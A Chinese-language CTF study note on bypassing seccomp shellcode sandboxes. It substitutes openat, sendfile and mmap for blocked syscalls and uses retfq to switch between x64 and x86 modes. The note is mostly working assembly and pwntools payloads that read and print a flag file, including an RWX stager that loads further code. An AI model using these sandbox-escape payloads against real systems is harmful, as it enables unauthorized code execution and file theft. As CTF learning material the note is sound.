shellcode沙盒禁用
orw禁用write,writev,open。
查了一下资料,sendfile可以用于替代write。而open可以被openat函数替代。
openat函数的系统调用
点击查看代码
shellcode_openat='''
mov rax,0x67616c66;//设置第一个参数,为flag,文件名
push rax;
mov rdi,-100//第二个参数设置为-100
mov rsi,rsp
xor rdx,rdx
mov rax,257//系统调用号
syscall
'''
所以可以将fd参数设为-100,但是在某些特定条件下应该不行。目前还不知道。
sendfile函数的系统调用
点击查看代码
shellcode_sendfile='''
mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100//设置传输字节
push SYS_sendfile//将操作码压栈
pop rax//将操作码取出来,我也不知道为啥要绕个圈子
syscall
'''
沙盒禁用了read和readv,还有open和sendfile函数
由上可知open函数可被openat函数替代
而可以替代read函数的sendfile函数也被禁用了
这时,我们可以使用mmap函数。
mmap函数可以将文件映射出来,mmap函数的系统调用,汇编以及使用pwntools生成时的参数设置
点击查看代码
shellcode+=asm(shellcraft.mmap(0x10000,0x100,1,1,'eax',0))
shellcode='''
mov rdi,0x10000
mov rsi,0x100
mov rdx,1
mov rcx,1
mov r8,rax
mov r9,0
mov rax,9
syscall
'''
这种限制条件高的
可以看到只能使用图上几个函数
这里考到一个知识点,ftast函数在64进制的系统调用号和open函数在32位的系统调用号相等
还要用到x64框架和x86框架相互转换的知识,要用到retfq指令,是用来修改cs和IP的一个指令,这里的cs放的是段地址,ip寄存器放的是偏移量
cs寄存器中0x23是x86的运行模式,0x33是x64的运行模式
点击查看代码
shellcode_to_x86='''
push 0x23
push 0x40404050
retfq
'''
shellcode_to_x64 = '''
push 0x33
push 0x40404078
retfq
'''
点击查看代码
pay = asm(shellcraft.mmap(0x10040,0x1000,7,34,0,0))//这里第四个参数设为7是因为这段区域同时需要可读写执行权限
pay += asm(shellcraft.read(0,0x10040,0x1000))//使可以写入代码
pay += asm('mov rax,0x10040;call rax')//把起始地址赋给rax寄存器,再执行这段请求区域的代码
点击查看代码
shellcode_to_x86='''
push 0x23
push 0x40404050
retfq
'''
shellcode_open='''
mov esp,0x40404200
push 0
push 0x67616c66
mov ebx, esp
xor ecx, ecx
mov eax,5
int 0x80
'''
shellcode_to_x64 = '''
push 0x33
push 0x40404078
retfq
'''
shellcode_read='''
mov rdi,3
mov rsi,0x40404100
mov rdx,60
xor rax,rax
syscall
'''
shellcode_write='''
mov rsi,0x40404100
mov rdx,0x60
mov rdi,1
mov rax,1
syscall
'''